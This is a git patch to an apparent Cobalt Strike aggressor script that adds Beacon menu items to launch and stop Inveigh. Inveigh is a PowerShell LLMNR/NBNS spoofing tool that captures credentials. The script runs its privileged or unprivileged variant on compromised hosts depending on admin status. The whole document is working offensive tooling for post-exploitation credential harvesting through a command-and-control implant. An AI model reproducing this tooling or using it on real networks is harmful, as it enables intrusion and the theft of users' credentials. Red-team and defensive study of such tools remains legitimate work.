From c857c623bec4a321cd71021b221ae4ba0cd9ba89 Mon Sep 17 00:00:00 2001
From: Jonathan Echavarria <jrec93@gmail.com>
Date: Mon, 20 Feb 2017 12:46:47 -0500
Subject: [PATCH] updates to inveigh

---
 inveigh/inveigh.cna | 24 +++++++++++++++++++-----
 1 file changed, 19 insertions(+), 5 deletions(-)

diff --git a/inveigh/inveigh.cna b/inveigh/inveigh.cna
index 85100e1..65b8d47 100644
--- a/inveigh/inveigh.cna
+++ b/inveigh/inveigh.cna
@@ -17,28 +17,42 @@ sub runPrivilegedInveigh {
 
 sub runUnPrivilegedInveigh {
 	$bid = $1;
-	binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh.ps1"));
-	bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh.ps1"));
+	binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1"));
+	bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1"));
 	prompt_text("How long would you like to run Inveigh (in minutes)?", "15", {
 		binput($bid, "powershell Invoke-InveighUnprivileged -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
 		bpowershell($bid, "Invoke-InveighUnprivileged -ConsoleOutput N -RunTime $1 -Tool 2 -LLMNR Y -NBNS Y -StatusOutput Y");
 	});
 }
 
+sub stopInveigh{
+	$bid = $1;
+	binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh.ps1"));
+	bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh.ps1"));
+	bpowershell($bid, "Stop-Inveigh");
+}
+
 popup beacon_bottom {
 	menu "Inveigh"{
 		item "Run Inveigh"{
-			local('$bid')
+			local('$bid');
 			foreach $bid ($1){
 				if (-isadmin $bid){
-					blog($1, "Beacon is admin, running privileged Inveigh");
+					blog($1, "\c3Beacon is admin\c0, \c8running privileged Inveigh\c0");
 					runPrivilegedInveigh($bid);
 				}
 				else {
-					blog($1, "Beacon is not admin, running unprivileged Inveigh");
+					blog($1, "\c4Beacon is not admin\c0, \c8running unprivileged Inveigh\c0");
 					runUnPrivilegedInveigh($bid);
 				}
 			}
 		}
+		item "Stop Running Inveigh"{
+			local('$bid');
+			foreach $bid ($1){
+				blog($1, "Attempting to stop Inveigh");
+				stopInveigh($bid);
+			}
+		}
 	}
 }
\ No newline at end of file